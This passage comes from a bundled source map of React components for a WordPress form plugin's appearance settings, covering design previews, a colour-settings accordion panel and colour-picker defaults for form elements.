className=\"fui-is_filled\">\n\t\t\t\t\t<label>{ translate( 'Field Label' ) }</label>\n\t\t\t\t\t<input type=\"text\" value={ translate( 'Text' ) } readOnly=\"readonly\" />\n\t\t\t\t</div>\n\n\t\t\t\t<button>{ translate( 'Button' ) }</button>\n\t\t\t</div>\n\t\t);\n\t}\n}\n\n\n\n// WEBPACK FOOTER //\n// ./src/form/components/appearance/design/material.js","import React, { Component } from 'react';\nimport { translate } from '../../../../utils';\n\nexport default class DesignBasic extends Component {\n\tconstructor( props ) {\n\t\tsuper( props );\n\t}\n\n\trender() {\n\t\treturn (\n\t\t\t<div className=\"fui-demo fui-demo--custom-form fui-demo--basic\">\n\t\t\t\t<div className=\"fui-is_empty\">\n\t\t\t\t\t<label>{ translate( 'Field Label' ) }</label>\n\t\t\t\t\t<input\n\t\t\t\t\t\ttype=\"text\"\n\t\t\t\t\t\treadOnly=\"readonly\"\n\t\t\t\t\t/>\n\t\t\t\t</div>\n\n\t\t\t\t<div className=\"fui-is_filled\">\n\t\t\t\t\t<label>{ translate( 'Field Label' ) }</label>\n\t\t\t\t\t<input type=\"text\" value={ translate( 'Text' ) } readOnly=\"readonly\" />\n\t\t\t\t</div>\n\n\t\t\t\t<button>{ translate( 'Button' ) }</button>\n\t\t\t</div>\n\t\t);\n\t}\n}\n\n\n\n// WEBPACK FOOTER //\n// ./src/form/components/appearance/design/basic.js","import React, { Component } from 'react';\nimport { translate } from '../../../../utils';\n\nexport default class designNone extends Component {\n\tconstructor( props ) {\n\t\tsuper( props );\n\t}\n\n\trender() {\n\t\treturn (\n\t\t\t<div\n\t\t\t\trole=\"alert\"\n\t\t\t\tclassName=\"sui-notice sui-active\"\n\t\t\t\tstyle={ { display: 'block' } }\n\t\t\t\taria-live=\"assertive\"\n\t\t\t>\n\n\t\t\t\t<div className=\"sui-notice-content\">\n\n\t\t\t\t\t<div className=\"sui-notice-message\">\n\n\t\t\t\t\t\t<span\n\t\t\t\t\t\t\tclassName=\"sui-notice-icon sui-icon-info\"\n\t\t\t\t\t\t\taria-hidden=\"true\"\n\t\t\t\t\t\t/>\n\n\t\t\t\t\t\t<p>\n\t\t\t\t\t\t\t{ translate(\n\t\t\t\t\t\t\t\t'You have opted for no stylesheet to be enqueued. ' +\n\t\t\t\t\t\t\t\t\"The form will inherit styles from your theme's CSS.\"\n\t\t\t\t\t\t\t) }\n\t\t\t\t\t\t</p>\n\n\t\t\t\t\t</div>\n\n\t\t\t\t</div>\n\n\t\t\t</div>\n\t\t);\n\t}\n}\n\n\n\n// WEBPACK FOOTER //\n// ./src/form/components/appearance/design/none.js","import React, { Component } from 'react';\nimport qs from 'qs';\nimport axios from 'axios';\n\nimport { translate, hasFieldType, hasFieldWithAttribute, hasPostdataFieldWithMultiselect } from '../../../utils';\n\nimport Accordion from '../../../settings/containers/accordion';\nimport FormContainer from './colors/form-container';\nimport FieldsBasics from './colors/fields-basics';\nimport ResponseLoadingColors from './colors/response-loading';\nimport ResponseErrorColors from './colors/response-error';\nimport ResponseSuccessColors from './colors/response-success';\nimport SectionColors from './colors/section';\nimport InputsColors from './colors/inputs';\nimport InputsExtraColors from './colors/inputs-extra';\nimport RadioColors from './colors/radio';\nimport ConsentColors from './colors/consent';\nimport SelectColors from './colors/select';\nimport DropdownColors from './colors/dropdown';\nimport SearchColors from './colors/dropdown-search';\nimport MultiSelectColors from './colors/multi-select';\nimport CalendarBasicColors from './colors/calendar-basics';\nimport Signature from './colors/signature';\nimport GroupColors from './colors/group';\nimport RepeaterColors from './colors/repeater';\nimport CalendarTableColors from './colors/calendar-table';\n//import PaginationColors from './colors/pagination';\nimport StepsColors from './colors/pagination-steps';\nimport ProgressColors from './colors/pagination-progress';\nimport BackColors from './colors/pagination-back';\nimport NextColors from './colors/pagination-next';\nimport SubmitColors from './colors/submit';\nimport Empty from '../../../settings/containers/empty';\nimport Container from '../../../settings/containers/container';\nimport RadioTabs from '../../../settings/inputs/radio-tabs';\nimport UploadedFilesColors from './colors/uploaded-files';\n\nexport default class Colors extends Component {\n\tconstructor( props ) {\n\t\tsuper( props );\n\t}\n\n\tcomponentDidMount() {\n\t\tthis.loadFonts();\n\t}\n\n\tcomponentDidUpdate() {\n\t\tthis.loadFonts();\n\t}\n\n\tloadFonts() {\n\t\tif ( ! _.isUndefined( window.forminatorFonts ) ) {\n\t\t\treturn;\n\t\t}\n\n\t\tconst options = {\n\t\t\tisObject: true\n\t\t};\n\n\t\tconst data = {\n\t\t\taction: 'forminator_load_google_fonts',\n\t\t\tdata: options,\n\t\t\t_wpnonce: forminatorData.gFontNonce,\n\t\t};\n\n\t\taxios.post( forminatorData.ajaxUrl,\n\t\t\tqs.stringify( data )\n\t\t)\n\t\t\t.then( ( response ) => {\n\t\t\t\twindow.forminatorFonts = response.data.data;\n\t\t\t} )\n\t\t\t.catch( ( err ) => {\n\t\t\t\tconsole.log( err );\n\t\t\t} );\n\t}\n\n\thasIndicatorEnabled( settings ) {\n\t\tif ( typeof settings[ 'submission-indicator' ] !== 'undefined' &&\n\t\t\tsettings[ 'submission-indicator' ] === 'show' ) {\n\t\t\treturn true;\n\t\t}\n\n\t\treturn false;\n\t}\n\n\trender() {\n\t\tconst hasPagination = hasFieldType(\n\t\t\t'page-break',\n\t\t\tthis.props.wrappers\n\t\t);\n\n\t\tconst hasSection = hasFieldType(\n\t\t\t'section',\n\t\t\tthis.props.wrappers\n\t\t);\n\n\t\tconst hasSingleRadio = hasFieldWithAttribute(\n\t\t\tthis.props.wrappers,\n\t\t\t'radio',\n\t\t\t'value_type',\n\t\t\t'radio'\n\t\t);\n\n\t\tconst hasSingleDropdown = hasFieldWithAttribute(\n\t\t\tthis.props.wrappers,\n\t\t\t'select',\n\t\t\t'value_type',\n\t\t\t'single'\n\t\t);\n\n\t\tconst hasMultiCheckbox = hasFieldWithAttribute(\n\t\t\tthis.props.wrappers,\n\t\t\t'checkbox',\n\t\t\t'value_type',\n\t\t\t'checkbox'\n\t\t);\n\n\t\tconst hasMultiSelect = hasFieldWithAttribute(\n\t\t\tthis.props.wrappers,\n\t\t\t'select',\n\t\t\t'value_type',\n\t\t\t'multiselect'\n\t\t);\n\n\t\tconst hasDatePicker = hasFieldWithAttribute(\n\t\t\tthis.props.wrappers,\n\t\t\t'date',\n\t\t\t'field_type',\n\t\t\t'picker'\n\t\t);\n\n\t\tconst hasESign = hasFieldType(\n\t\t\t'signature',\n\t\t\tthis.props.wrappers\n\t\t);\n\n\t\tconst hasGroup = hasFieldType(\n\t\t\t'group',\n\t\t\tthis.props.wrappers\n\t\t);\n\n\t\tconst hasDateDropdown = hasFieldWithAttribute(\n\t\t\tthis.props.wrappers,\n\t\t\t'date',\n\t\t\t'field_type',\n\t\t\t'select'\n\t\t);\n\n\t\tconst hasTimeDropdown = hasFieldWithAttribute(\n\t\t\tthis.props.wrappers,\n\t\t\t'time',\n\t\t\t'field_type',\n\t\t\t'select'\n\t\t) || hasFieldWithAttribute(\n\t\t\tthis.props.wrappers,\n\t\t\t'time',\n\t\t\t'time_type',\n\t\t\t'twelve'\n\t\t);\n\n\t\tconst hasAddresCountry = hasFieldWithAttribute(\n\t\t\tthis.props.wrappers,\n\t\t\t'address',\n\t\t\t'address_country',\n\t\t\t'true'\n\t\t);\n\n\t\tconst hasNamePrefix = hasFieldWithAttribute(\n\t\t\tthis.props.wrappers,\n\t\t\t'name',\n\t\t\t'prefix',\n\t\t\t'true'\n\t\t);\n\n\t\tconst hasGDPR = hasFieldType(\n\t\t\t'gdprcheckbox',\n\t\t\tthis.props.wrappers\n\t\t);\n\n\t\tconst hasFileUpload = hasFieldType(\n\t\t\t'upload',\n\t\t\tthis.props.wrappers\n\t\t);\n\n\t\tconst hasCurrency = hasFieldType(\n\t\t\t'currency',\n\t\t\tthis.props.wrappers\n\t\t);\n\n\t\tconst hasStripe = hasFieldType(\n\t\t\t'stripe',\n\t\t\tthis.props.wrappers\n\t\t);\n\n\t\tconst hasCalculation = hasFieldType(\n\t\t\t'calculation',\n\t\t\tthis.props.wrappers\n\t\t);\n\n\t\tconst hasConsent = hasFieldType(\n\t\t\t'consent',\n\t\t\tthis.props.wrappers\n\t\t);\n\n\t\tconst postdata_multiple = hasPostdataFieldWithMultiselect(\n\t\t\tthis.props.wrappers\n\t\t);\n\n\t\tconst isPreset = ! _.isUndefined( this.props.preset );\n\n\t\tconst hasIndicator = isPreset || this.hasIndicatorEnabled( this.props.settings );\n\n\t\tconst hasPaginationHeader = _.isUndefined( this.props.settings.paginationData ) || _.isUndefined( this.props.settings.paginationData[ 'pagination-header-design' ] )\n\t\t\t? ''\n\t\t\t: this.props.settings.paginationData[ 'pagination-header-design' ];\n\n\t\tconst paginationHeader = _.isUndefined( this.props.settings.paginationData ) ||_.isUndefined( this.props.settings.paginationData[ 'pagination-header' ] )\n\t\t\t? ''\n\t\t\t: this.props.settings.paginationData[ 'pagination-header' ];\n\n\t\treturn (\n\t\t\t<div className=\"sui-box-settings-row\">\n\n\t\t\t\t<div className=\"sui-box-settings-col-1\">\n\t\t\t\t\t<span className=\"sui-settings-label\">{ translate( 'Colors' ) }</span>\n\t\t\t\t\t<span className=\"sui-description\">{ translate(\n\t\t\t\t\t\t'Adjust the default color combinations to match your theme styling.'\n\t\t\t\t\t) }</span>\n\t\t\t\t</div>\n\n\t\t\t\t<div className=\"sui-box-settings-col-2\">\n\n\t\t\t\t\t<RadioTabs\n\t\t\t\t\t\t{ ...this.props }\n\t\t\t\t\t\tproperty=\"cform-color-settings\"\n\t\t\t\t\t\tdefault=\"\"\n\t\t\t\t\t>\n\n\t\t\t\t\t\t<Empty value=\"\" boxClass=\"\">\n\t\t\t\t\t\t\t{ translate( 'Use Default Colors' ) }\n\t\t\t\t\t\t</Empty>\n\n\t\t\t\t\t\t<Container value=\"true\" label={ translate( 'Custom' ) }>\n\n\t\t\t\t\t\t\t<div className=\"sui-accordion\">\n\n\t\t\t\t\t\t\t\t<div className=\"sui-accordion-header\">\n\t\t\t\t\t\t\t\t\t<div>{ translate( 'Element' ) }</div>\n\t\t\t\t\t\t\t\t</div>\n\n\t\t\t\t\t\t\t\t<Accordion\n\t\t\t\t\t\t\t\t\t{ ...this.props }\n\t\t\t\t\t\t\t\t\tlabel={ translate( 'Form Container' ) }\n\t\t\t\t\t\t\t\t>\n\t\t\t\t\t\t\t\t\t<FormContainer { ...this.props } />\n\t\t\t\t\t\t\t\t</Accordion>\n\n\t\t\t\t\t\t\t\t{ hasIndicator &&\n\t\t\t\t\t\t\t\t\t<Accordion\n\t\t\t\t\t\t\t\t\t\t{ ...this.props }\n\t\t\t\t\t\t\t\t\t\tlabel={ translate( 'Submission Indicator' ) }\n\t\t\t\t\t\t\t\t\t>\n\t\t\t\t\t\t\t\t\t\t<ResponseLoadingColors { ...this.props } />\n\t\t\t\t\t\t\t\t\t</Accordion>\n\t\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\t\t<Accordion\n\t\t\t\t\t\t\t\t\t{ ...this.props }\n\t\t\t\t\t\t\t\t\tlabel={ translate( 'Response Success' ) }\n\t\t\t\t\t\t\t\t>\n\t\t\t\t\t\t\t\t\t<p className=\"sui-description\">{ translate(\n\t\t\t\t\t\t\t\t\t\t'Successful response message will be displayed after ' +\n\t\t\t\t\t\t\t\t\t\t'form submission succeeds.'\n\t\t\t\t\t\t\t\t\t) }</p>\n\t\t\t\t\t\t\t\t\t<ResponseSuccessColors { ...this.props } />\n\t\t\t\t\t\t\t\t</Accordion>\n\n\t\t\t\t\t\t\t\t<Accordion\n\t\t\t\t\t\t\t\t\t{ ...this.props }\n\t\t\t\t\t\t\t\t\tlabel={ translate( 'Response Error' ) }\n\t\t\t\t\t\t\t\t>\n\t\t\t\t\t\t\t\t\t<p className=\"sui-description\">{ translate(\n\t\t\t\t\t\t\t\t\t\t'Error response message will be displayed after ' +\n\t\t\t\t\t\t\t\t\t\t'form submission fails.'\n\t\t\t\t\t\t\t\t\t) }</p>\n\t\t\t\t\t\t\t\t\t<ResponseErrorColors { ...this.props } />\n\t\t\t\t\t\t\t\t</Accordion>\n\n\t\t\t\t\t\t\t\t{ ( isPreset || hasPagination && hasPaginationHeader === 'show' && paginationHeader === 'nav' ) &&\n\t\t\t\t\t\t\t\t\t<Accordion\n\t\t\t\t\t\t\t\t\t\t{...this.props}\n\t\t\t\t\t\t\t\t\t\tlabel={translate('Pagination Steps')}\n\t\t\t\t\t\t\t\t\t>\n\t\t\t\t\t\t\t\t\t\t<StepsColors {...this.props} />\n\t\t\t\t\t\t\t\t\t</Accordion>\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t{ ( isPreset || hasPagination && hasPaginationHeader === 'show' && paginationHeader === 'bar' ) &&\n\t\t\t\t\t\t\t\t\t<Accordion\n\t\t\t\t\t\t\t\t\t\t{...this.props}\n\t\t\t\t\t\t\t\t\t\tlabel={translate('Pagination Progress Bar')}\n\t\t\t\t\t\t\t\t\t>\n\t\t\t\t\t\t\t\t\t\t<ProgressColors {...this.props} />\n\t\t\t\t\t\t\t\t\t</Accordion>\n\t\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\t\t<Accordion\n\t\t\t\t\t\t\t\t\t{ ...this.props }\n\t\t\t\t\t\t\t\t\tlabel={ translate( 'Fields Basics' ) }\n\t\t\t\t\t\t\t\t>\n\t\t\t\t\t\t\t\t\t<FieldsBasics { ...this.props } />\n\t\t\t\t\t\t\t\t</Accordion>\n\n\t\t\t\t\t\t\t\t{ hasSection &&\n\t\t\t\t\t\t\t\t\t<Accordion\n\t\t\t\t\t\t\t\t\t\t{ ...this.props }\n\t\t\t\t\t\t\t\t\t\tlabel={ translate( 'Section' ) }\n\t\t\t\t\t\t\t\t\t>\n\t\t\t\t\t\t\t\t\t\t<SectionColors { ...this.props } />\n\t\t\t\t\t\t\t\t\t</Accordion>\n\t\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\t\t<Accordion\n\t\t\t\t\t\t\t\t\t{ ...this.props }\n\t\t\t\t\t\t\t\t\tlabel={ translate( 'Input and Textarea' ) }\n\t\t\t\t\t\t\t\t>\n\t\t\t\t\t\t\t\t\t<InputsColors { ...this.props } />\n\t\t\t\t\t\t\t\t</Accordion>\n\n\t\t\t\t\t\t\t\t{ (\n\t\t\t\t\t\t\t\t\thasDatePicker ||\n\t\t\t\t\t\t\t\t\thasCurrency ||\n\t\t\t\t\t\t\t\t\thasStripe ||\n\t\t\t\t\t\t\t\t\thasCalculation\n\t\t\t\t\t\t\t\t) &&\n\t\t\t\t\t\t\t\t\t<Accordion\n\t\t\t\t\t\t\t\t\t\t{ ...this.props }\n\t\t\t\t\t\t\t\t\t\tlabel={ translate( 'Input Extras' ) }\n\t\t\t\t\t\t\t\t\t>\n\t\t\t\t\t\t\t\t\t\t<InputsExtraColors { ...this.props } />\n\t\t\t\t\t\t\t\t\t</Accordion>\n\t\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\t\t{ (\n\t\t\t\t\t\t\t\t\thasMultiCheckbox ||\n\t\t\t\t\t\t\t\t\thasSingleRadio ||\n\t\t\t\t\t\t\t\t\thasGDPR\n\t\t\t\t\t\t\t\t) &&\n\t\t\t\t\t\t\t\t\t<Accordion\n\t\t\t\t\t\t\t\t\t\t{ ...this.props }\n\t\t\t\t\t\t\t\t\t\tlabel={ translate( 'Radio and Checkbox' ) }\n\t\t\t\t\t\t\t\t\t>\n\t\t\t\t\t\t\t\t\t\t<RadioColors { ...this.props } />\n\t\t\t\t\t\t\t\t\t</Accordion>\n\t\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\t\t{ (\n\t\t\t\t\t\t\t\t\thasSingleDropdown ||\n\t\t\t\t\t\t\t\t\thasDateDropdown ||\n\t\t\t\t\t\t\t\t\thasTimeDropdown ||\n\t\t\t\t\t\t\t\t\thasAddresCountry ||\n\t\t\t\t\t\t\t\t\thasNamePrefix\n\t\t\t\t\t\t\t\t) &&\n\t\t\t\t\t\t\t\t\t<React.Fragment>\n\t\t\t\t\t\t\t\t\t\t<Accordion\n\t\t\t\t\t\t\t\t\t\t\t{ ...this.props }\n\t\t\t\t\t\t\t\t\t\t\tlabel={ translate( 'Select' ) }\n\t\t\t\t\t\t\t\t\t\t>\n\t\t\t\t\t\t\t\t\t\t\t<SelectColors { ...this.props } />\n\t\t\t\t\t\t\t\t\t\t</Accordion>\n\t\t\t\t\t\t\t\t\t\t<Accordion\n\t\t\t\t\t\t\t\t\t\t\t{ ...this.props }\n\t\t\t\t\t\t\t\t\t\t\tlabel={ translate( 'Dropdown List' ) }\n\t\t\t\t\t\t\t\t\t\t>\n\t\t\t\t\t\t\t\t\t\t\t<DropdownColors { ...this.props } />\n\t\t\t\t\t\t\t\t\t\t</Accordion>\n\t\t\t\t\t\t\t\t\t</React.Fragment>\n\t\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\t\t{ hasAddresCountry &&\n\t\t\t\t\t\t\t\t\t<Accordion\n\t\t\t\t\t\t\t\t\t\t{ ...this.props }\n\t\t\t\t\t\t\t\t\t\tlabel={ translate( 'Dropdown Search' ) }\n\t\t\t\t\t\t\t\t\t>\n\t\t\t\t\t\t\t\t\t\t<SearchColors { ...this.props } />\n\t\t\t\t\t\t\t\t\t</Accordion>\n\t\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\t\t{ (\n\t\t\t\t\t\t\t\t\thasMultiSelect ||\n\t\t\t\t\t\t\t\t\tpostdata_multiple\n\t\t\t\t\t\t\t\t) &&\n\t\t\t\t\t\t\t\t\t<Accordion\n\t\t\t\t\t\t\t\t\t\t{ ...this.props }\n\t\t\t\t\t\t\t\t\t\tlabel={ translate( 'Multi Select' ) }\n\t\t\t\t\t\t\t\t\t>\n\t\t\t\t\t\t\t\t\t\t<MultiSelectColors { ...this.props } />\n\t\t\t\t\t\t\t\t\t</Accordion>\n\t\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\t\t{ hasDatePicker &&\n\t\t\t\t\t\t\t\t\t<React.Fragment>\n\n\t\t\t\t\t\t\t\t\t\t<Accordion\n\t\t\t\t\t\t\t\t\t\t\t{ ...this.props }\n\t\t\t\t\t\t\t\t\t\t\tlabel={ translate( 'Calendar Basics' ) }\n\t\t\t\t\t\t\t\t\t\t>\n\t\t\t\t\t\t\t\t\t\t\t<CalendarBasicColors { ...this.props } />\n\t\t\t\t\t\t\t\t\t\t</Accordion>\n\n\t\t\t\t\t\t\t\t\t\t<Accordion\n\t\t\t\t\t\t\t\t\t\t\t{ ...this.props }\n\t\t\t\t\t\t\t\t\t\t\tlabel={ translate( 'Calendar Table' ) }\n\t\t\t\t\t\t\t\t\t\t>\n\t\t\t\t\t\t\t\t\t\t\t<CalendarTableColors { ...this.props } />\n\t\t\t\t\t\t\t\t\t\t</Accordion>\n\n\t\t\t\t\t\t\t\t\t</React.Fragment>\n\t\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\t\t{ hasFileUpload &&\n\n\t\t\t\t\t\t\t\t\t<Accordion\n\t\t\t\t\t\t\t\t\t\t{ ...this.props }\n\t\t\t\t\t\t\t\t\t\tlabel={ translate( 'File Upload' ) }\n\t\t\t\t\t\t\t\t\t\tboxedContent={ false }\n\t\t\t\t\t\t\t\t\t>\n\n\t\t\t\t\t\t\t\t\t\t<UploadedFilesColors { ...this.props } />\n\n\t\t\t\t\t\t\t\t\t</Accordion>\n\t\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\t\t{ hasESign &&\n\t\t\t\t\t\t\t\t\t<React.Fragment>\n\n\t\t\t\t\t\t\t\t\t\t<Accordion\n\t\t\t\t\t\t\t\t\t\t\t{ ...this.props }\n\t\t\t\t\t\t\t\t\t\t\tlabel={ translate( 'E-Signature' ) }\n\t\t\t\t\t\t\t\t\t\t>\n\t\t\t\t\t\t\t\t\t\t\t<Signature { ...this.props } />\n\t\t\t\t\t\t\t\t\t\t</Accordion>\n\n\t\t\t\t\t\t\t\t\t</React.Fragment>\n\t\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\t\t{ hasGroup &&\n\t\t\t\t\t\t\t\t\t<React.Fragment>\n\n\t\t\t\t\t\t\t\t\t\t<Accordion\n\t\t\t\t\t\t\t\t\t\t\t{ ...this.props }\n\t\t\t\t\t\t\t\t\t\t\tlabel={ translate( 'Field Group' ) }\n\t\t\t\t\t\t\t\t\t\t>\n\t\t\t\t\t\t\t\t\t\t\t<GroupColors { ...this.props } />\n\t\t\t\t\t\t\t\t\t\t</Accordion>\n\n\t\t\t\t\t\t\t\t\t\t<Accordion\n\t\t\t\t\t\t\t\t\t\t\t{ ...this.props }\n\t\t\t\t\t\t\t\t\t\t\tlabel={ translate( 'Repeater Button' ) }\n\t\t\t\t\t\t\t\t\t\t\tboxedContent={ false }\n\t\t\t\t\t\t\t\t\t\t>\n\t\t\t\t\t\t\t\t\t\t\t<RepeaterColors { ...this.props } />\n\t\t\t\t\t\t\t\t\t\t</Accordion>\n\n\t\t\t\t\t\t\t\t\t</React.Fragment>\n\t\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\t\t{ hasPagination &&\n\t\t\t\t\t\t\t\t\t<React.Fragment>\n\n\t\t\t\t\t\t\t\t\t\t{ /**\n\t\t\t\t\t\t\t\t\t\t<Accordion\n\t\t\t\t\t\t\t\t\t\t\t{ ...this.props }\n\t\t\t\t\t\t\t\t\t\t\tlabel={ translate( 'Pagination' ) }\n\t\t\t\t\t\t\t\t\t\t>\n\t\t\t\t\t\t\t\t\t\t\t<PaginationColors { ...this.props } />\n\t\t\t\t\t\t\t\t\t\t</Accordion>\n\t\t\t\t\t\t\t\t\t\t*/ }\n\n\t\t\t\t\t\t\t\t\t\t<Accordion\n\t\t\t\t\t\t\t\t\t\t\t{ ...this.props }\n\t\t\t\t\t\t\t\t\t\t\tlabel={ translate( 'Button Back' ) }\n\t\t\t\t\t\t\t\t\t\t>\n\t\t\t\t\t\t\t\t\t\t\t<BackColors { ...this.props } />\n\t\t\t\t\t\t\t\t\t\t</Accordion>\n\n\t\t\t\t\t\t\t\t\t\t<Accordion\n\t\t\t\t\t\t\t\t\t\t\t{ ...this.props }\n\t\t\t\t\t\t\t\t\t\t\tlabel={ translate( 'Button Next' ) }\n\t\t\t\t\t\t\t\t\t\t>\n\t\t\t\t\t\t\t\t\t\t\t<NextColors { ...this.props } />\n\t\t\t\t\t\t\t\t\t\t</Accordion>\n\n\t\t\t\t\t\t\t\t\t</React.Fragment>\n\t\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\t\t{ ( hasConsent ) &&\n\t\t\t\t\t\t\t\t\t<Accordion\n\t\t\t\t\t\t\t\t\t\t{ ...this.props }\n\t\t\t\t\t\t\t\t\t\tlabel={ translate( 'Consent' ) }\n\t\t\t\t\t\t\t\t\t>\n\t\t\t\t\t\t\t\t\t\t<ConsentColors { ...this.props } />\n\t\t\t\t\t\t\t\t\t</Accordion>\n\t\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\t\t<Accordion\n\t\t\t\t\t\t\t\t\t{ ...this.props }\n\t\t\t\t\t\t\t\t\tlabel={ translate( 'Submit Button' ) }\n\t\t\t\t\t\t\t\t>\n\t\t\t\t\t\t\t\t\t<SubmitColors { ...this.props } />\n\t\t\t\t\t\t\t\t</Accordion>\n\n\t\t\t\t\t\t\t</div>\n\n\t\t\t\t\t\t</Container>\n\n\t\t\t\t\t</RadioTabs>\n\n\t\t\t\t</div>\n\n\t\t\t</div>\n\t\t);\n\t}\n}\n\n\n\n// WEBPACK FOOTER //\n// ./src/form/components/appearance/colors.js","import React, { Component } from 'react';\nimport { translate, getThemePrefix, getDefaultValue } from '../../../../utils';\n\nimport ColorPicker from '../../../../settings/inputs/color-picker';\n\nexport default class BasicColors extends Component {\n\tconstructor( props ) {\n\t\tsuper( props );\n\t}\n\n\trender() {\n\t\treturn (\n\t\t\t<React.Fragment>\n\t\t\t\t<ColorPicker\n\t\t\t\t\t{ ...this.props }\n\t\t\t\t\tdefaultValue={`${ getDefaultValue(this.props, \"#00000000\") }`}\n\t\t\t\t\tproperty={`${ getThemePrefix(this.props) }cform-form-border`}\n\t\t\t\t\tlabel={ translate( 'Border color' ) }\n\t\t\t\t\tisAlpha\n\t\t\t\t/>\n\t\t\t\t<ColorPicker\n\t\t\t\t\t{ ...this.props }\n\t\t\t\t\tdefaultValue={`${ getDefaultValue(this.props, \"#00000000\") }`}\n\t\t\t\t\tproperty={`${ getThemePrefix(this.props) }cform-form-background`}\n\t\t\t\t\tlabel={ translate( 'Background color' ) }\n\t\t\t\t\tisAlpha\n\t\t\t\t/>\n\t\t\t</React.Fragment>\n\t\t);\n\t}\n}\n\n\n\n// WEBPACK FOOTER //\n// ./src/form/components/appearance/colors/form-container.js","import React, { Component } from 'react';\nimport { translate, getThemePrefix, getDefaultValue } from '../../../../utils';\n\nimport ColorPicker from '../../../../settings/inputs/color-picker';\n\nexport default class GlobalColors extends Component {\n\tconstructor( props ) {\n\t\tsuper( props );\n\t}\n\n\trender() {\n\t\treturn (\n\t\t\t<React.Fragment>\n\t\t\t\t<ColorPicker\n\t\t\t\t\t{ ...this.props }\n\t\t\t\t\tdefaultValue={`${ getDefaultValue(this.props, \"#777771\") }`}\n\t\t\t\t\tproperty={`${ getThemePrefix(this.props) }cform-label-color`}\n\t\t\t\t\tlabel={ translate( 'Label' ) }\n\t\t\t\t/>\n\t\t\t\t<ColorPicker\n\t\t\t\t\t{ ...this.props }\n\t\t\t\t\tdefaultValue={`${ getDefaultValue(this.props, \"#E04562\") }`}\n\t\t\t\t\tproperty={`${ getThemePrefix(this.props) }cform-asterisk-color`}\n\t\t\t\t\tlabel={ translate( 'Required asterisk' ) }\n\t\t\t\t/>\n\t\t\t\t<ColorPicker\n\t\t\t\t\t{ ...this.props }\n\t\t\t\t\tdefaultValue={`${ getDefaultValue(this.props, \"#777771\") }`}\n\t\t\t\t\tproperty={`${ getThemePrefix(this.props) }label-helper-color`}\n\t\t\t\t\tlabel={ translate( 'Description' ) }\n\t\t\t\t/>\n\t\t\t\t{ this.props.formDesign !== 'material' &&\n\t\t\t\t\t<ColorPicker\n\t\t\t\t\t\t{ ...this.props }\n\t\t\t\t\t\tdefaultValue={`${ getDefaultValue(this.props, \"#F9E4E8\") }`}\n\t\t\t\t\t\tproperty={`${ getThemePrefix(this.props) }label-validation-background`}\n\t\t\t\t\t\tlabel={ translate( 'Error message BG' ) }\n\t\t\t\t\t\tisAlpha\n\t\t\t\t\t/>\n\t\t\t\t}\n\t\t\t\t<ColorPicker\n\t\t\t\t\t{ ...this.props }\n\t\t\t\t\tdefaultValue={`${ getDefaultValue(this.props, \"#E04562\") }`}\n\t\t\t\t\tproperty={`${ getThemePrefix(this.props) }label-validation-color`}\n\t\t\t\t\tlabel={ this.props.formDesign !== 'material'\n\t\t\t\t\t\t? translate( 'Error message color' )\n\t\t\t\t\t\t: translate( 'Global error color' )\n\t\t\t\t\t}\n\t\t\t\t\tdescription={ this.props.formDesign === 'material'\n\t\t\t\t\t\t? translate(\n\t\t\t\t\t\t\t'This color will be used when fields throw an ' +\n\t\t\t\t\t\t\t'error as text color, border color, etc.'\n\t\t\t\t\t\t)\n\t\t\t\t\t\t: ''\n\t\t\t\t\t}\n\t\t\t\t/>\n\t\t\t</React.Fragment>\n\t\t);\n\t}\n}\n\n\n\n// WEBPACK FOOTER //\n// ./src/form/components/appearance/colors/fields-basics.js","import React, { Component } from 'react';\nimport { translate, getThemePrefix, getDefaultValue } from '../../../../utils';\n\nimport ColorPicker from '../../../../settings/inputs/color-picker';\n\nexport default class ResponseLoadingColors extends Component {\n\tconstructor( props ) {\n\t\tsuper( props );\n\t}\n\n\trender() {\n\t\treturn (\n\t\t\t<React.Fragment>\n\t\t\t\t{ this.props.formDesign !== 'material' &&\n\t\t\t\t\t<ColorPicker\n\t\t\t\t\t\t{ ...this.props }\n\t\t\t\t\t\tdefaultValue={`${ getDefaultValue(this.props, \"#F8F8F8\") }`}\n\t\t\t\t\t\tproperty={`${ getThemePrefix(this.props) }response-loading-background`}\n\t\t\t\t\t\tlabel={ translate( 'Background color' ) }\n\t\t\t\t\t\tisAlpha\n\t\t\t\t\t/>\n\t\t\t\t}\n\t\t\t\t<ColorPicker\n\t\t\t\t\t{ ...this.props }\n\t\t\t\t\tdefaultValue={`${ getDefaultValue(this.props, \"#666666\") }`}\n\t\t\t\t\tproperty={`${ getThemePrefix(this.props) }response-loading-color`}\n\t\t\t\t\tlabel={ translate( 'Text color' ) }\n\t\t\t\t/>\n\t\t\t</React.Fragment>\n\t\t);\n\t}\n}\n\n\n\n// WEBPACK FOOTER //\n// ./src/form/components/appearance/colors/response-loading.js","import React, { Component } from 'react';\nimport { translate, getThemePrefix, getDefaultValue } from '../../../../utils';\n\nimport ColorPicker from '../../../../settings/inputs/color-picker';\n\nexport default class ResponseErrorColors extends Component {\n\tconstructor( props ) {\n\t\tsuper( props );\n\t}\n\n\trender() {\n\t\treturn (\n\t\t\t<React.Fragment>\n\t\t\t\t{ this.props.formDesign !== 'flat' &&\n\t\t\t\t\t<ColorPicker\n\t\t\t\t\t\t{ ...this.props }\n\t\t\t\t\t\tdefaultValue={`${ getDefaultValue(this.props, \"#E04562\") }`}\n\t\t\t\t\t\tproperty={`${ getThemePrefix(this.props) }response-error-border`}\n\t\t\t\t\t\tlabel={ translate( 'Border color' ) }\n\t\t\t\t\t\tisAlpha\n\t\t\t\t\t/>\n\t\t\t\t}\n\t\t\t\t{ this.props.formDesign !== 'material' &&\n\t\t\t\t\t<ColorPicker\n\t\t\t\t\t\t{ ...this.props }\n\t\t\t\t\t\tdefaultValue={`${ 